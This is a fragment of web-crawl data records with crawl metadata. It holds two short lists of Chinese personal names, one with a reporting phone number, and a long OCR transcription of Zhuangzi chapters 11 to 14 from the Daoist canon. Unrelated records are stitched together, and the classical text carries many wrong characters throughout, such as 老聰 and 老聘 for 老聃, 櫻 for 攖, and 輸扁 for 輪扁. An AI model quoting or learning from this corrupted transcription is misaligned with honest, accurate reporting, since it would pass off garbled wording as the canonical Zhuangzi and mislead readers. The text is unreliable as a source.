朱越明 陳瑞雪 董玲 董鵬斌 段利龍 耿端 耿曉琳 黃婷 解麗佳 靳曉霞 李京瑞 劉鄭洋 呂婷 馬暉 馬思婷 聶旭光 潘晶 喬曉 田運陽 王佩 衛紅潤 衛珊珊 文曉薈 吳琪 吳運強 肖紅鴿 謝倩 原小玲 張會奎 張倩 張首軍 趙莉 趙家筆 趙蒙蒙 趙旭哲 鄭佳 樊淼 石巖 田媛之\n舉報電話:0351-4019036、0351-4112281","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.g6510.cn\/web\/zh\/g\/content_120081.shtml","date":"2023-06-03T13:50:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649293.44\/warc\/CC-MAIN-20230603133129-20230603163129-00523.warc.gz","language":"lzh","language_score":0.7050352097,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7050352096557617, \"nan_Hani_score\": 0.14538809657096863, \"cmn_Hani_score\": 0.1419418901205063}","num_words":175,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.28,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.71,"perplexity_score":500.0,"cluster_detection":1} +{"text":"中村亚树 先生 崔宪基 先生 李 松 先生 朴春子 女士 刘峰植 先生 庞永杰 先生 朴光夑 先生 赵正武 先生 金风石 先生 李贵男 先生 文成浩 先生 李虎根 先生 朴哲奎 先生\n特别感谢北京梯级艺术中心 总经理 孙国振 先生给予的大力支持与帮助!","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/sxmart.ybu.edu.cn\/news.php?id=7","date":"2017-09-23T01:52:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689413.52\/warc\/CC-MAIN-20170923014525-20170923034525-00639.warc.gz","language":"lzh","language_score":0.6154950261,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6154950261116028, \"cmn_Hani_score\": 0.3192013204097748, \"yue_Hani_score\": 0.05159422755241394, \"nan_Hani_score\": 0.013272791169583797}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.65,"perplexity_score":500.0,"cluster_detection":1} +{"text":"洞神部本文類(CH0301)南華真經卷之二外篇在宥第十一 聞在宥天下,不聞治天下也。在之也者?恐天下之淫其性也;宥之也者,恐天下之遷其德也。天下不淫其性,不遷其德,有治天下者哉。昔堯之治天下也,使天欣欣焉人樂其性,是不恬也;桀之治天下也,使天下瘁瘁焉人苦其性,是不愉也。夫不恬不愉,非德也。非德也而可長久者,天下無之。人大喜邪,毗於陽;大怒邪,毗於陰。陰陽並毗,四時不至,寒暑之和不成,其反傷人之形乎。使人喜怒失位,居處無常?思慮不自得,中道不成章,於是乎天下始喬請卓駑,而後有盜蹶、曾史之行。故舉天下以賞其善者不足,舉天下以罰其惡者不給,故天下之大不足以賞罰。自三代以下者,匈匈焉終以賞罰為事,彼何暇安其性命之情哉。而且悅明邪,是淫於色也;悅聰邪,是淫於聲也;悅仁邪,是亂於德也;悅義邪,是悖於理也;悅禮邪,是相於技也;悅樂邪,是相於淫也;悅聖邪,是相於藝也;悅知邪,是相於疵也。天下將安其性命之情,之八者,存可也,亡可也;天下將不安其性命之情,之八者,乃始彎卷聯拳傖囊而亂天下也。而天下乃始尊之惜之,甚矣,天下之惑也。豈直過也而去之邪,乃齋戒以言之,跪坐以進之,鼓歌以舞之,吾若是何哉。故君子不得已而臨蒞天下,莫若無為。無為也而後安其性命之情。故貴以身於為天下,則可以託天下;愛以身於為天下,則可以寄天下。故君子苟能無解其五藏,無擢其聰明;尸居而龍見,淵默而雷聲,神動而天隨,從容無為而萬物炊累焉。吾又何暇治天下哉。崔瞿問於老聰曰:不治天下,安臧人心?老聰曰:汝慎無櫻人心。人心排下而進上,上下囚殺,悼約柔乎剛彊。廉劇彫琢,其熱焦火,其寒凝冰。其疾倪仰之問而再撫四海之外,其居也淵而靜,其動也縣而天。憤驕而不可係者,其唯人心乎。昔者黃帝始以仁義櫻人之心,堯舜於是乎股無服;經無毛,以養天下之形,愁其其五藏以為仁義,矜其血氣以規法度。然猶有不勝也,堯於是放罐兜於崇山,投三苗於三跪,流共工於幽都,此不勝天下也。夫施及三王而天下大駭矣,下有桀廠,上有曾史,而儒墨畢起。於是乎喜怒相疑,愚知相欺,善否相非,誕信相譏,而天下衰矣。德不同,而性命爛漫矣;天下好知, 百姓求竭矣。於是乎新鋸制焉,繩墨殺焉,椎鑿央焉。天下脊脊大亂,罪在櫻人心。故賢者伏處大山堪巖之下,而萬乘之君憂慄乎廟堂之上。今世殊死者相枕也,桁楊者相推也,刑戮者相望也,而儒墨乃始離歧攘臂乎栓桔之問。意,甚矣哉。其無愧而不知恥也甚矣。吾未知聖知之不為桁楊接摺也,仁義之不為栓桔鑿柄也,焉知曾史之不為桀廠嘴矢也。故曰:絕聖棄知而天下大治。黃帝立為天子十九年,令行天下,聞廣成子在於空同之上,故往見之。曰:我聞吾子達於至道,敢問至道之精。吾欲取天地之精,以佐五穀,以養民人。吾又欲官陰陽,以遂群生,為之奈何?廣成子曰:而所欲問者,物之質也;而所欲官者,物之殘也。自而治天下,雲氣不待族而雨,草木不待黃而落,日月之光益以荒矣。而佞人之心蓊剪者,又奚足以語至道。黃帝退,捐天下,築特室,席白茅,閒居,復往邀之。廣成子南首而外,黃下風,膝行而進,再拜稽首而問 曰:聞吾子達於至道,敢問,治身奈何而可以長久?廣成子蹙然而起,曰:善哉問乎。來,吾語汝至道。至道之精,窈窈冥冥;至道之極,昏昏默默。無視無聽,抱神以靜,形將自正。必靜必清,無勞汝形,無搖汝精,乃可以長生。目無所見,耳無所聞,心無所知,汝神將守形,形乃長生。慎汝內,閑汝外,多知為敗。我為汝遂於大明之上矣,至彼至陽之原也。為汝入於窈冥之門矣,至彼至陰之原也。天地有官,陰陽有藏;慎守汝身,物將自壯。我守其一以處其和,故我修身千二百歲矣,吾形未常衰。黃帝再拜稽首,曰:廣成子之謂天矣。廣成子曰:來,余語汝。彼其物無窮,而人皆以為終;彼其物無測,而人皆以為極。得吾道者,上為皇而下為王;失吾道者,上見光而下為土。今夫百昌皆生於土而反於土,故余將去汝,入無窮之門,以遊無極之野。吾與日月參光,吾與天地為常。當我,縉乎。遠我,昏乎。人其盡死,而我獨存乎。雲將束遊,過扶搖之枝而適遭鴻蒙。鴻蒙方將批髁爵躍而遊。雲將見之,倘然止,贊然立,曰:叟何人邪?叟何為此?鴻蒙村髒爵躍不輾,對雲將曰:遊。雲將曰:朕願有問也。鴻蒙仰而視雲將曰:吁。雲將曰:天氣不和,地氣鬱結,六氣不調,四時不節。今我願合六氣之精以育群生,為之奈何?鴻蒙村脾爵躍掉頭曰:吾弗知。吾弗知。雲將不得問。又三年,束遊,過有宋之野而適遭鴻蒙。雲將大喜,行趨而進曰:天忘朕邪?天忘朕邪?再拜稽首,願聞於鴻蒙。鴻蒙曰:浮遊,不知所求;猖狂,不知所往。遊者鞅掌,以觀無妄。朕又何知。雲將曰:朕也自以為猖狂,而民隨予所往;朕也不得已於民,今則民之放也。願聞一言。鴻蒙曰:亂天之經,道物之情,玄天弗成;解獸之群,而烏皆夜嗚;災及草木,禍及昆蟲,噫,治人之過也。雲將曰:然則吾奈何?鴻蒙曰:噫,毒哉。懵倦乎歸矣。雲將曰:吾遇天難,願聞一言。鴻蒙曰:噫,心養。汝徒處無為,而物自化。墮爾形體,吐爾聰明,倫與物忘,大同乎澤淇,解心釋神,莫然無魂。萬物#3云云,各復其根,各復其根而不知;渾渾沌沌,終身不離;若彼知之,乃是離之。無問其名,無閥其情,物固自生。雲將曰:天降朕以德,示朕以默,躬身求之,乃今也得。再拜稽首,起辭而行。世俗之人,皆喜人之同乎己而惡人之異於己也。同於己而欲之,異於己而不欲者,以出乎眾為心也。夫以出乎眾為心者,曷常出乎眾哉。因眾以寧,所聞不如眾技眾矣。而欲為人之國者,此攬乎三王之利而不見其患者也。此以人之國僥倖也,幾何僥倖而不喪人之國乎。其存人之國也,無萬分之一;而喪人之國也,一不成而萬有餘喪矣。悲夫,有土者之不知也。夫有土者,有大物也。有大物者,不可以物;物而不物,故能物物。明乎物物者之非物也,豈獨治天下百姓而已哉。出入六合,遊乎九州,獨往獨來,是謂獨有。獨有之人,是之謂至貴。大人之教,若形之於影,聲之於響。有問而應之,盡其所懷,為天下配。處乎無響,行乎無方。挈汝適復之撓撓,以遊無端;出入無旁,與日無始;頌論形軀,合乎大同,大同而無已。無己,惡乎得有有。睹有者,昔之君子;睹無者,天地之友。賤而不可不任者,物也;卑而不可不因者,民也;匿而不可不為者,事也;廳而不可陳者,法也;遠而不可不居者,義也;親而不可不廣者,仁也;節而不可不積者,禮也;中而不可不高者,德也;一而不可不易者,道也;神而不可不為者,天也。故聖人觀於天而不助,成於德而不累,出於道而不謀,會於仁而不恃,薄於義而不積,應於禮而不諱,接於事而不讓,齊於法而不亂,恃於民而不輕,因於物而不去。物者莫足為也,而不可不為。不明於天者,不純於德;不通於道者,無自而可。不明於道者,悲夫。何謂道?有天道,有人道。無為而尊者,天道也;有為而累者,人道也。主者,天道也;臣者,人道也。天道之與人道也,相去遠\n矣,不可不察也。\n南華真經春之二竟\n#1 弟:原作『第』,據世德本改。\n#2人:原作『 義』,據世德本改。\n#3物:原作『萬』,據世德本改。\n洞神部本文類(CH0301)南華真經卷之三外篇天地第十二 天地雖大,其化均也;萬物雖多,其治一也;人卒雖眾,其主君也。君原於德而成於天,故日:玄古之君天下,無為也,天德而已矣。以道觀言而天下之君正,以道觀分而君臣之義明,以道觀能而天下之官治,以道汎觀而萬物之應備。故通於天地者,德也;行於萬物者,道也;上治人者,事也;能有所藝者,技也。技兼於事,事兼於,義兼於德,德兼於道,道兼於天。故日:古之畜天下者,無欲而,天下足,無為而萬物化,淵靜而百姓定。《記》 曰:通於一而萬事畢,無心得而鬼神服。夫子曰:夫道,覆載萬物者也,洋洋乎大哉。君子不可以不剖心焉。無為為之之謂天,無為言之之謂德,愛人利物之謂仁,不同同之之謂大,行不崖異之謂寬,有萬不同之謂富。故執德之謂紀,德成之謂立,循於道之謂備,不以物挫志之謂完。君子明於此十者,則韜乎其事心之大也,沛乎其為萬物逝也。若然者,藏金於山,藏珠於淵,不利貨財,不近貴富;不樂壽,不哀夭;不榮通,不醜窮;不拘一世之利以為己私分,不以王天下為己處顯。顯則明,萬物一府,死生同狀。夫子日:夫道,淵乎其居也,滲乎其清也。金石不得,無以嗚。故金石有聲,不考不嗚。萬物孰能定之。夫王德之人,素逝而恥通於事,立之本原而知通於神。故其德廣,其心之出,有物採之。故形非道不生,生非德不明。存形窮生,立德明道,非王德者邪。蕩蕩乎,忽然出,勃然動,而萬物從之乎,此謂王德之人。視乎冥冥,聽乎無聲。冥冥之中,獨見曉焉;無聲之中,獨聞和焉。故深之又深而能物焉,神之又神而能精焉。故其與萬物接也,至無而供其求,時騁而要其宿;大小、長短、脩遠。黃帝遊乎赤水之北,登乎崑崙之丘而南望,還歸,遺其玄珠。使知索之而不得,使離朱索之而不得,使喫詬索之而不得也,乃使象罔,象罔得之。黃帝曰:異哉,象罔乃可以得之乎。堯之師日許由,許由之師日齧缺,齧缺之師曰王倪,王倪之師日被衣。堯問於許由曰:齧缺可以配天乎?吾藉王倪以要之。許由曰:殆哉圾于天下。齧缺之為人也,聰明截知,給數以敏,其性過人,而又乃以人受天。彼審乎禁過,而不知過之所由生。與之配天乎?彼且乘人而無天。方且本身而異形,方且尊知而火馳,方且為緒使,方且為物紋,方且四顧而物應,方且應眾宜,方且與物化而未始有恆。夫何足以配天乎?雖然,有族,有祖,可以為眾父,而不可以為眾父父。治,亂之率也,北面之禍也,南面之賊也。堯觀乎華。華對人曰:嘻,聖人。請祝聖人。使聖人壽。堯曰:辭。使聖人富。堯曰:辭。使聖人多男子。堯曰:辭。封人曰:壽、富、多男子,人之所欲也。汝獨不欲,何邪?堯曰:多男子則多懼,富則多事,壽則多辱。是三者,非所以養德也,故辭。封人曰:始也我以汝為聖人邪,今然君子也。天生萬民,必授之職。多男子而授之職,則何懼之有。富而使人分之,則何事之有。夫聖人,鶉居而轂食,烏行而無彰;天下有道,則與物皆昌;天下無道,則脩德就問;千歲厭世,去而上倦;乘彼白雲,至于帝鄉;三患莫至,身常無殃;則何辱之有。封人去之。堯隨之,曰:請問。封人曰:退已。堯治天下,伯成子高立為諸侯。堯授舜,舜授禹,伯成子高辭為諸侯而耕。禹往見之,則耕在野。禹趨就下風,立而問焉,曰:昔堯治天下,吾子立為諸侯。堯授舜,舜授予,而吾子辭為諸侯而耕。敢問,其故何也?子高曰:昔堯治天下,不賞而民勸,不罰而民畏。今子賞罰而民且不仁,德自此衰,刑自此立,後世之亂自此始矣。夫#1子闔行邪?無落吾事。浥侶乎耕而不顧。泰初有無,無有無名;一之所起,有一而未形。物得以生,謂之德;未形者有分,且然無問,謂之命;留動而生物,物成生理,謂之形;形體保神,各有儀則,謂之性。性脩反德,德至同於初。同乃虛,虛乃大。合喙嗚;喙嗚合,與天地為合。其合縉縉,若愚若昏,是謂玄德,同乎大順。夫子向于老聰曰:有人治道若相放,可不可,然不然。辨者有言日,離堅白若縣寓。若是則可謂聖人乎?老聰曰:是胥易技係、勞形休心者也。執狸之狗成思,猥狙之便自山林來。丘,予告若,而所不能聞與而所不能言。凡有首有趾無心無耳者眾,有形者與無形無狀而皆存者盡無。其動、止也,其死、生也,其廢、起也,此又非其所以也。有治在人,忘乎物,忘乎天,其名為忘己。忘己之人,是之謂入於天。蔣間翹見季徹曰:魯君謂蒐也曰,請受教。辭不獲命,既已告矣,未知中否,請嘗薦之。吾謂魯君日,必服恭儉,拔出公忠之屬而無阿私,民孰不敢輯?季徹局局然笑曰:若夫子之言,於帝王之德猶螳娘之怒臂以當車轍,則必不勝任矣。且若是,則其自為處危,其觀臺,多物將往,投邊者眾。蔣聞翹親覦然驚曰:蒐也沱若於夫子之所言矣。雖然,願先生之言其風也。季徹曰:大聖之治天下也,搖蕩民心,使之成教易俗,舉滅其賊心而皆進其獨志,若性之自為,而民不知其所由然。若然者,豈兄堯舜之教民,淇津然弟之哉?欲同乎德而心居矣。子貢南遊於楚,反於晉,過漢陰,見一丈人方將為圃畦,鑿隧而入井,抱甕而出灌,猾猾然用力甚多而見功寡。子貢曰:有械於此,一日浸百畦,用力甚寡而見功多,夫子不欲乎?為圃者仰而視之曰:奈何?曰:鑿木為機,後重前輕,挈水若抽。數如秩湯,其名為檸。為圃者忿然作色而笑曰:吾聞之吾師,有機械者必有機事,有機事者必有機心。機心存於胸中,則純白不備;純白不備,則神生不定;神生不定者,道之所不載也。吾非不知,羞而不為也。子貢瞞然慚,俯而不對。有問,為圃者曰:子奚為者邪?曰:孔丘之徒也。為圃者曰:子非夫博學以擬聖,於于以蓋眾,獨弦哀歌以賣名聲於天下者乎?汝方將忘汝神氣,墮汝形骸,而庶幾乎。而身之不能治,而何暇治天下乎。子往矣,無乏吾事。子貢卑陬失色,頊頊然不自得,行三十里而後俞。其弟子曰:向之人何為者邪?夫子何故見之變容失色,終日不自反邪?曰:始吾以為天下一人耳,不知復有夫人也。吾聞之夫子,事求可,功求成。用力少,見功多者,聖人之道。今徒不然。執道者德全,德全者形全,形全者神全。神全者,聖人之道也。託生與民並行而不知其所之,沱乎淳備哉。功利機巧必忘夫人之心。若夫人者,非其志不之,非其心不為。雖以天下譽之,得其所謂,警然不顧;以天下非之,失其所謂,儻然不受。天下之非譽,無益損焉,是謂全德之人哉。我之謂風波之民。反於魯,以告孔子。孔子曰:彼假脩渾沌氏之術者也;識其一,不知其二;治其內,而不治其外。夫明白入素,無為復朴,體性抱神,以遊世俗之間者,汝將固驚邪?且渾沌氏之術,予與汝何足以識之哉。諄芒將東之大壑,適遇苑風於束海之濱。苑風曰:子將奚之?曰:將之大壑。曰:奚為焉?曰:夫大壑之為物也,注焉而不滿,酌焉而不竭;吾將遊焉。苑風曰:夫子無意于橫目之民乎?願聞聖治。諄芒曰:聖治乎?官施而不失其宜,拔舉而不失其能,畢見其情事而行其所為,行言自為而天下化,手撓顧指,四方之民莫不俱至,此之謂聖治。願聞德人。曰:德人者,居無思,行無慮,不藏是非美惡。四海之內共利之之為悅,共給之之為安;炤乎若嬰兒之失其母也,儻乎若行而失其道也。財用有餘而不知其所自來,飲食取足而不知其所從,此謂德人之容。願聞神人。曰:上神乘光,與形滅亡,此謂照曠。致命盡情,天地樂而萬事銷亡,萬物復情,此之謂混冥。門無鬼與赤張滿稽觀於武王之師。赤張滿稽曰:不及有虞氏乎,故離此患也。門無鬼曰:天下均治而有虞氏治之邪?其亂而後治之與?赤張滿稽曰:天下均治之為願,而何計以有虞氏為。有虞氏之藥瘍也,禿而施髮,病而求醫。孝子操藥以脩慈父,其色煉然,聖人羞之。至德之世,不尚賢,不使能;上如標枝,民如野鹿;端正而不知以為義,相愛而不知以為仁,實而不知以為忠,當而不知以為信,蠢動而相使,不以為賜。是故行而無邇,事而無傳。孝子不諛其親,忠臣不諂其君,臣子之盛也。親之所言而然,所行而善,則世俗謂之不肖子;君之所言而然,所行而善,則世俗謂之不肖臣。而未知此其必然邪?世俗之所謂然而然之,所謂善而善之,則不謂之導諛之人也。然則俗故嚴於親而尊於君邪?謂己導人,則勃然作色,謂己諛人,則怫然作色。而終身導人也,終身諛人也,合譬飾辭聚眾也,是終始本末不相坐。垂衣裳,設采色,動客貌,以媚一世,而不自謂導諛,與夫人之為徒,通是非,而不自謂眾人,愚之至也。知其愚者,非大愚也;知其惑者,非大惑也。大惑者,終身不解;大愚者,終身不靈。三人行而一人惑,所適者猶可致也,惑者少也;二人惑則勞而不至,惑者勝也。而今也以天下惑,予雖有祈嚮,不可得也。不亦悲乎。大聲不入於里耳,折楊皇華,則嗑然而笑。是故高言不止於眾人之心,至言不出,俗言勝也。以二垂踵惑,而所適不得矣。而今也以天下惑,予雖有祈嚮,其庸可得邪。知其不可得也而強之,又一惑也,故莫若釋之而不推。不推,誰其比憂。厲之人夜半生其子,遽取火而視之,汲汲然唯恐其似己也。百年之木,破為犧樽,青黃而文之,其斷在溝中。比犧樽於溝中之斷,則美惡有問矣,其於失性一也。躡與曾史,行義有間矣,然其失性均也。且夫失性有五:一日五色亂目,使目不明;二日五聲亂耳,使耳不聰;三日五臭薰鼻,困慢中顆;四日五味濁口,使口厲爽;五日趣舍滑心,使性飛揚。此五者,皆生之害也。而楊墨乃始離歧自以為得,非吾所謂得也。夫得者困,可以為得乎?則鳩鴉之在於籠也,亦可以為得矣。且夫趣舍聲色以柴其內,皮弁鵡冠縉質紳脩以約其外,內支盈於柴柵。外重纏繳,院院然在纏繳之中而自以為得,則是罪人交臂歷指而虎豹在於囊檻,亦可以為得矣。\n洞神部本文類(CH0301)南華真經卷之三外篇天道第十三 天道運而無所積,故萬物成;帝道運而無所積,故天下歸;聖道運而無所積,故海內服。明於天,通於聖,六通四辟於帝王之德者,其自為也,昧然無不靜者矣。聖人之靜也,非日靜也善,故靜也;萬物無足以鐃心者,故靜也。水靜則明燭鬚眉,平中准,大匠取法焉。水靜猶明,而況精神。聖人之心靜乎,天地之鑒也;萬物之鏡也。夫虛靜恬淡寂漠無為者,天地之平而道德之至,故帝王聖人休焉。休則虛,虛則實,實者倫矣。虛則靜,靜則動,動則得矣。靜則無為,無為也則任事者責矣。無為則俞俞,俞俞者憂患不能處,年壽長矣。夫虛靜恬淡寂漠無為者,萬物之本也。明此以南卿,堯之為君也;明此以北面,舜之為臣也。以此處上,帝王天子之德也;以此處下,玄聖素王之道也。以此退居而間游江海,山林之士服;以此進為而撫世,則功大名顯而天下一也。靜而聖,動而王,無為也而尊,樸素而天下莫能與之爭美。夫明白於天地之德者,此之謂大本大宗,與天和者也;所以均調天下,與人和者也。與人和者,謂之人樂;與天和者,謂之天樂。莊子曰:吾師乎,吾師乎,整萬物而不為戾,澤及萬世而不為仁,長於上古而不為壽,覆載天地刻彫眾形而不為巧,此之謂天樂。故日,知天樂者,其生也天行,其死也物化。靜而與陰同德,動而與陽同波。故知天樂者,無天怨,無人非,無物累,無鬼責。故日,其動也天,其靜也地,一心定而王天下;其鬼不崇,其魂不疲,一心定而萬物服。言以虛靜推於天地,通於萬物,此之謂天樂。天樂者,聖人之心,以畜天下也。夫帝王之德,以天地為宗,以道德為主,以無為為常。無為也,則用天下而有餘;有為也,則為天下用而不足。故古之人貴夫無為也。上無為也,下亦無為也,是下與上同德,下與上同德則不臣;下有為也,上亦有為也,是上與下同道,上與下同道則不主。上必無為而用天下,下必有為為天下用,此不易之道也。故古之王天下者,知雖落天地,不自慮也;辯雖彫萬物,不自說也;能雖窮海內,不自為也。天不產而萬物化,地不長而萬物育,帝王無為而天下功。故曰莫神於天,莫富於地,莫大於帝王。故日帝王之德配天地。此乘天地。馳萬物,而用人掌之道也。本在於上,末在於下,要在於主,詳在於臣。三軍五兵之運,德之末也;賞罰利害,五刑之辟,教之末也;禮法度數,刑名比詳,治之末也;鍾鼓之音,羽施之容,樂之末也;哭泣衰絰;隆殺之服,一反之末也。此五末者,須精神之運,心術之動,然後從之者也。末學者,古人有之,而非所以先也。君先而臣從,父先而子從,兄先而弟從,長先而少從,男先而女從,夫先而婦從。夫尊卑先後,天地之行也,故聖人取象焉。天尊地卑,神明之位也;春夏先,秋冬後,四時之序也。萬物化作,萌區有狀,盛衰之殺,變化之流也。夫天地至神,而有尊卑先後之序,而況人道乎。宗廟尚親,朝廷尚尊,鄉黨尚齒,行事尚賢,大道之序也。語道而非其序者,非其#2道也;語道而非其道者,安取道。是故古之明大道者,先明天而道德次之,道德已明而仁義次之,仁義已明而分守次之,分守已明而刑名次之,刑名已明而因任次之,因任己明而原省次之,原省已明而是非次之,是非已明而賞罰次之。賞罰已明而愚知處宜,貴賤履位,仁賢不肖襲情。必分其能,必由其名。以此事上,以此畜下,以此治物,以此修身;知謀不用,必歸其天,此之謂太平,治之至也。故書曰:有刑有名。刑名者,古人有之,而非所以先也。古之語大道者,五變而刑名可舉,九變而賞罰可言也。驟而語刑名,不知其本也;驟而語賞罰,不知其始也。到道而言,在道而說者,人之所治也,安能治人。驟而語刑名賞罰,此有知治之具,非知治之道;可用於天下,不足以用天下,此之謂辯士,一曲之人也。禮法度數,刑名比詳,古人有之,此下之所以事上,非上之所以畜下也。昔者舜問於堯曰:天王之用心何如?堯曰:吾不敖無告,不廢窮民,苦死者,嘉孺子而哀婦人。此吾所以用心已。舜曰:美則美矣,而未大也。堯曰:然則何如?舜曰:天德而出寧,日月照而四時行,若晝夜之有經,雲行而雨施矣。堯曰:膠膠擾擾乎。子,天之合也;我,人之合也。夫天地者,古之所大也,而黃帝堯舜之所共美也。故古之王天下者,奚為哉?天地而已矣。孔子西藏書於周室。子路謀曰:由聞周之徵藏史有老聰者,免而歸居,夫子欲藏書,則試往因焉。孔子曰:善。往見老聰,而老聘不許,於是緒十二經以老聰中其說,曰:大饅,願聞其孔子曰:要在仁義。老聰曰:請,仁義,人之性邪?孔子曰:然。君子不仁則不成,不義則不生。仁義,真人之性也,又將奚為矣?老聘曰:請問,何謂仁義?孔子曰:中心物愷,兼愛無私,此仁義之情也。老聘曰:噫,幾乎後言。夫兼愛,不亦迂乎。無私焉,乃私也。夫子若欲使天下無失其牧乎?則天地固有常矣,日月固有明矣,星辰固有列矣,禽獸固有群矣,樹木固有立矣。夫子亦放德而行,循道而趨,已至矣;又何愒愒乎揭仁義,若擊鼓而求亡子焉?意,夫子亂人之性也。士成綺見老子而問曰:吾聞夫子聖人也,吾固不辭遠道而來願見。百舍重研而不敢息。今吾觀子,非聖人也。鼠壤有餘蔬,而棄妹不仁也,生熟不盡於前,而積斂無崖。老子漠然不應。士成綺明日復見,曰:昔者吾有刺於子,今吾心正部矣,何故也?老子曰:夫巧知神聖之人,吾自以為脫焉。昔者子呼我牛也而謂之牛,呼我馬也而謂之馬。苟有其實,人與之名而弗受,再受其殃。吾服也恆服,吾非以服有服。士成綺鴉行避影,履行遂進而問:修身若何?老子曰:而容崖然,而目衝然,而顆頫然,而口閘然,而狀義然,似擊馬而止也。動而持,發也機,察而審,知巧而睹於泰,凡以為不信。邊境有人焉,其名為竊。夫子曰:夫道,於大不終,於小不遺,故萬物備。廣廣乎其無不容也,淵乎其不可測也。形德仁義,神之末也,非至人孰能定之。夫至人有世,不亦大乎,而不足以為之累。天下奮樣而不與之偕,審乎無假而不與利遷,極物之真,能守其本,故外天地,遣萬物,而神未嘗有所困也。通乎道,合乎德,退仁義,賓禮樂,至人之心有所定矣。世之所貴道者,書也。書不過語,語有貴也。語之所貴者,意也,意有所隨。意之所隨者,不可以言傳也,而世因貴言傳書。世雖貴之哉,猶不足貴也,為其貴非其貴也。故視而可見者,形與色也;聽而可聞者,名與聲也。悲夫,世人以形色名聲為足以得彼之情,夫形色名聲果不足以得彼之情,則知者不言,言者不知,而世豈識之哉?桓公讀書於堂上。輪扁斷輸於堂下,釋椎鑿而上,問桓公曰:敢問,公之所讀者何言邪?公曰:聖人之言也。日、.聖人在乎?公曰:已死矣。曰:然則君之所讀者,古人之糟魄已夫。桓公曰:寡人讀書,輸人安得議乎,有說則可,無說則死。輸扁曰:臣也以臣之事觀之。斷輪,徐則甘而不固,疾則苦而不入。不徐不疾,得之於手而應於心,口不能言,有數存焉於其問。臣不能以喻臣之子,臣之子亦不能受之於臣,是以行年七十而老斷輪。古之人與其不可傳也死矣?然則君之所讀者,古人之糟魄已矣。\n洞神部本文類(CH0301)南華真經卷之三外篇天運第十四 天其運乎?地其處乎?日月其爭於所乎?孰主張是?孰維綱是?孰居無事推而行是?意者其有機緘而不得已邪?意者其運轉而不能自止邪?雲者為雨乎?雨者為雲乎?孰隆弛是?孰居無事淫樂而勸是?風起北方,一西一東,有上彷徨,孰噓吸是?孰居無事而披拂是?敢問何故?巫咸招曰:來,吾語汝。天有六極五常,帝王順之則治,逆之由凶。九洛之事,治成德備,監照下土,天下載之,此謂上皇。商大宰蕩問仁於莊子。莊子曰:虎狼,仁也。曰:何謂也?莊子曰:父子相親,何謂不仁?曰:請問至仁。莊子曰:至仁無親。大宰曰:蕩聞之,無親則不愛,不愛則不孝。謂至仁不孝,可乎?莊子曰:不然。夫至仁尚矣,孝固不足以言之。此非遇孝之言也,不及孝之言也。夫南行者至於郢,北面而不見冥山,是何也?則去之遠也。故曰:以敬孝易,以? 愛孝難;以愛孝易,而忘親難;忘親易,使親忘我難;使親忘我易,兼忘天下難;兼忘天下易,使天下兼忘我難。夫德遺堯舜而不為也,利澤施於萬世,天下莫知也,豈直太息而言仁孝乎哉?夫孝悌仁義,忠信貞廉,此皆自勉以役其德者也,不足多也。故曰:至貴,國爵并焉;至富,國財并焉;至願,名譽并焉。是以道不渝。北門成問於黃帝曰:帝張咸池之樂於洞庭之野,吾始聞之懼,復聞之息,卒聞之而惑;蕩蕩默默,乃不自得。帝曰:汝殆其然哉。吾奏之以人,徽之以天,行之以禮義,建之以太清。夫至樂者,先應之以人事,順之以天理,行之以五德,應之以自然,然后調理四時,太和萬物。#1四時迭起,萬物循生;一盛一衰,文武倫經;一清一濁,陰陽調和,流光其聲;墊蟲始作,吾驚之以雷霆。其卒無尾,其始無首;一死一生,一憤一起;所常無窮,而一不可待。汝故懼也。吾又奏之以陰陽之和,燭之以日月之明。其聲能短能長,能柔能剛;變化齊一,不主故常;在谷滿谷,在阬滿阬;塗卻守神,以物為量。其聲揮綽,其名高明。是故鬼神守其幽,日月星辰行其紀。吾止之於有窮,流之於無止。子欲慮之而不能知也,望之而不能見也,逐之而不能及也;儻然立於四虛之道、倚於槁梧而吟。目知窮乎所欲見,力屈乎所欲逐,吾既不及已矣。形充空虛,乃至委蛇。汝委蛇,故息。吾又奏之以無息之聲,調之以自然之命。故若混逐叢生,林樂而無形;布揮而不曳,幽昏而無聲。動於無方,居於窈冥;或謂之死,或謂之生,或謂之實,或謂之榮;行流散徙,不主常聲。世疑之,稽於聖人。聖也者,達於情而遂於命也。天機不張而五官皆備,此之謂天樂,無言而心悅。故有眾氏為之頌曰:聽乏不聞其聲,視之不見其形,充滿天地,苞裹六極。汝欲聽之而無接焉,而故惑也。樂也者,始於懼,懼故祟;吾又次之以息,怠故遁;卒之於惑,惑故愚;愚故道,道可載而與之俱也。孔子西遊於衛。顏淵問師金曰:以夫子之行為奚如?師金曰:惜乎,而夫子其窮哉。顏淵曰:何也!師金曰:夫芻狗之未陳也,盛以筐衍,巾以文繡,尸祝齋戒以將之。及其已陳也,行者踐其首脊,蘇者取而爨之而已;將復取而盛以筐衍,巾以文繡,遊居寢外其下,彼不得夢,必且數咪焉。今而夫子,亦取先生已陳芻狗,取弟子遊居寢外其下。故伐樹於宋,削邇於衛,窮於商周,是非其夢邪?圍於陳蔡之問,七日不火食,死生相與鄰,是非其昧邪?夫水行莫如用舟,而陸行莫如用車。以舟之可行於水也而求推之於陸,則沒世不行尋常。古今非水陸與?周魯非舟車與?今薪行周於魯,是猶推舟於陸也,勞而無功,身必有殃。彼未知夫無方之傳,應物而不窮者也。且子獨不見夫桔桿者乎?引之則俯,舍之則仰。彼人之所引,非引人也,故俯仰而不得罪於人。故夫三皇五帝之禮義法度,不矜於同而矜於治。故譬三皇五帝之禮義法度,其猶相梨橘柚邪。其味相反而皆可於口。故禮義法度者,應時而變者也。今取暖狙而衣以周公之服,彼必齡齧挽裂,盡去而後嫌。觀古今之異,猶暖狙之異乎周公也。故西施病心而臏其里,其里之醜人見而美之,歸亦捧心而嬪其里,其里之富人見之,堅閉門而不出;貧人見之,挈妻子而去